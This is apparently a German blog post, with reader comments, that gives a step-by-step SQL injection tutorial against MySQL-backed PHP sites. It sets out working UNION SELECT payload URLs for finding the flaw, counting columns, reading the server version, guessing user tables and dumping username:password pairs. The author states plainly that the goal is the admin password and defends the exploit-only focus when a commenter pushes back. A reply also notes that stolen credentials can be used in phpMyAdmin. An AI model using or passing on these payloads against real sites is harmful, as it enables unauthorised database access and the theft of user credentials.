SQL Injection Tutorial Teil 1

Heyhoo,

wie versprochen werde ich nun das vllt von einigen lang erwartete SQL Injection Tutorial schreiben. Ich hatte damals ein recht ausfuehrliches geschrieben, jedoch isses mir irgendwie weg gekommen und ich find es nicht mehr. Nichts desto trotz werde ich euch hier einiges ueber SQL Injections zeigen, jedoch gehe ich mehr darauf ein wie eine SQL Injection funktioniert und wie man dadurch an nuetzliche Informationen kommt. Wichtig, das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder aehnliches sieht das ganze total anders aus. Da MySQL die “populaerste Open Source” Datenbank ist, wird sie daher auch am haeufigsten verwendet.

Was ist eine SQL Injection?

Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:

SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.

Heißt kurz und knapp, ihr koennt an das Admin PW kommen. 😀

Nun ich werde das Tutorial in 4 Teile aufteilen, der erste Teil wird der laengste und ausfuehrlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.

Dann fangen wir mal an 😉

0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen fuer eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man oefters und schneller Luecken finden. Auch wird man Luecken nachvollziehen koennen; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu machen, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen koennen. Das reicht dann auch fuer ne normale SQL Injection.

1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma dieses ‘ dranhaengen um einen Error auszuloesen, beispiel:

http://www.site.de/news.php?id=5'

Wenn sich an der Seite nun nichts aendert, gut, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…

Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die verwundbarkeit zeigen.

Schauen wir uns das mal genauer in einem Beispiel Source an:

SELECT * FROM news WHERE id = 5'

Hier sieht man das unser Hochkomma das Query stoert.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann waere auch keine SQL Injection moeglich)
Aber unser Query koennte auch so aussehen:

SELECT * FROM news WHERE id = '5''

Jedoch auch hier sieht man was stoert. Naemlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Luecke gefunden.

Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True pruefen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page veraendert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt aendert, oder ne Fehlermeldung kommt. Seht ihr dann auch.

2) Anzahl der Columns rausfinden
Da wir spaeter den Befehl UNION benutzen wollen (dazu spaeter mehr) brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewaehlt werden, wuerde unser Query aber so aussehen:

SELECT author,datum,text FROM news WHERE id = 5

Dann waere die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, muessen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:

http://www.site.de/news.php?id=5+order+by+1/*

(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhaengen, dies ist Query abhaengig.

Falls noch ein Error kommt, muessen wir unsere Abfrage mit einem anderen Kommentarzeichen aendern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normal immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.

http://www.site.de/news.php?id=5+order+by+5/*

<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“ http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam. Nun haben wir die Column Anzahl vom ersten Query. 3) UNION verwenden
Durch UNION koennen wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:

SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/* 

Auch hier ist das Auskommentieren am Schluss wichtig.

Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, muessen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:

http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*

Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ 🙂

So falls ihr nun aufm Bildschirm zahlen seht, die 1,2 oder 3, dann funktioniert unser UNION SELECT Statement sehr haeufig oder eigentlich sogut wie immer muss man die ID erst ungueltig machen, entweder durch ein minus – was ich gerne und oft benutzte oder durch eine hohe Zahl/ID welche nicht existiert.
Sieht dann so aus:

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*

Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das muesste man dann anders machen, kommt bei Teil 3 von meinem Tut genauer drauf zu sprechen.

4) MySQL Version ermitteln

So, wenn wir nun eine 1,2 oder 3 aufm Bildschirm sehen, dann koennen wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x4A30686E2E583372 und sehen beim Druecken auf Enter auf einmal dort wo die 2 war “J0hn.X3r” stehen 😀
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir aufm Bildschirm sehen und ersetzen es in der URL mit version().

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*

(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*

(ich benutzt das erstere lieber)

Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.

Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“

Dann muessen wir die Convert Funktion benutzen, in diesem falle dann

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*

oder

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*

Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.

Bsp.:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*

Nun wird die Version angezeigt und es erscheint kein Fehler mehr.

5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.

V4 ist bissle doof, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.

Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, muessen wir nen zweites simples MySQL Query machen.

...UNION SELECT 1,2,3 FROM tabelle

Das heißt wir wollen schauen ob die Tabelle existiert. “Waehle aus von Tabelle”.

Wie sieht das nun bei uns aus?

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*

Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, Werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*

In unserem MySQL Query heißt das nun also:

...UNION SELECT 1,username,3 FROM users/*

Waehle Username aus Tabelle “users”.

Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.

Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. 🙂

Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

0x3a = hex = (ein Doppelpunkt) :

Nun sehen wir dort:

username:password

Und eine Erfolgreiche SQL Injection.

So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verstaendlich vorallem fuer Anfaenger geworden. Fehler, Kritik, Vorschlaege, Fragen einfach als Kommentar posten 🙂

13 Replies to “SQL Injection Tutorial Teil 1”

  1. Wow!
    Wirklich klasse, leider konnte ich’s nur überfliegen, aber auf jeden Fall sehr informativ.

    Ich freue mich auf die nächsten Teile!

  2. nice TUT, du könntest aber noch hinzufügen, wenn man mer columns abfragen will, ist concat_ws(0x3a,bla,bla,bla) komfortabler zu verwenden 😉

  3. Ich benutz normal auch immer concat_ws(), habs aber irgendwie vergessen^^ Kommt bei Tut2 ;>

  4. Dann wollen wir mal:

    “Heißt kurz und knapp, ihr koennt an das Admin PW kommen. :D”
    Der Sinn einer SQL Injection bzw. des Tutorials ist doch wohl nicht darauf beschränkt Passwörter auszulesen um damit Schindluder zu treiben, oder etwa doch?

    Viel wichtiger wäre für mich wie man sich schützen kann und wodurch die Angriffe ermöglicht werden.

    Diese “Step-By-Step wie nutze ich so etwas aus” Anleitungen die nicht erklärt was hinter den Kulissen abläuft was viel wichtiger ist. Du behandelt hier nur das, was der “Hacker” tut. Nicht was der Server tut bzw. der Admin dagegen tun kann.

    Das mal die Grundlage.

    Nun zum Inhalt:

    Du erklärst nicht was der SQL Befehl “and” bewirkt nur, dass man mit ihm etwas herausfinden kann.

    Wieso es nötig ist den String zu konvertieren wenn man ein Fehler auftritt erklärst du auch nicht. Du sagst nur, dass man es tun muss.

    Wenn du dich in Zukunft nicht nur auf das Ausnützen beschränkst wäre das sicherlich von Vorteil. Es sei denn du willst ein reines “Hacker”-Tutorial und kein Universales erschaffen.

    Five-Three-Nine

  5. @ Five-Three-Nine:
    Da es hier um Web Security und Exploiting geht, werd ich auch nicht nur posten wie man sich dagegen schuetzt, sondern wie am Anfang zu lesen ging es hier vorallem darum, wie man eine SQL Injection ausnutzt.

    Und zu dem Satz man kann an das Admin PW raus bekommen, in den meisten Faellen wird eben versucht an das Admin PW zu kommen.

    naja zum “and” ich denk das wurde etwas kurz behandelt, was es aber damit aufsich hat, kann man im Auth Bypass Tutorial nachlesen, da dort ja beschrieben wurde wie das mit true und false ablaeuft und im Prinzip isses das gleiche 😉

    Aber danke fuer dein Ausfuehrliches Feedback 🙂

  6. “wie am Anfang zu lesen ging es hier vorallem darum, wie man eine SQL Injection ausnutzt”

    Damit kann ich mich nicht so recht anfreunden ;D
    Zu sagen hier und da ist es möglich Code einzuschleusen und Da ist die MySQL Dokumentation würde mir besser gefallen.

  7. Schönes TuT!
    Nur ich hab mal eine vllt leicht dumme Frage xD
    Macht man das mit einem bestimmten Programm oder muss man einfach das in der Such spalte eingeben?

  8. einfach in die addresszeile des browsers

    Die pinken Sachen sind jedoch Quelltext aus den jeweiligen Programen welche auf dem Webserver liegen

  9. blöde frage, was bringt mit denn das admin passwort für die mysql datenbank, die lauscht doch nur lokal auf 3306..?!

  10. Da du die gleiche Frage nun schon in 5 verschiedenen Beitraegen gestellt hast, beantworte ich sie dir hier _einmal_ – wenn du einen phpmyadmin zugang findest, was haeufig vor kommt, dann kannst du dich mit den MySQL Daten dort natuerlich einloggen.

Leave a Reply

Your email address will not be published. Required fields are marked *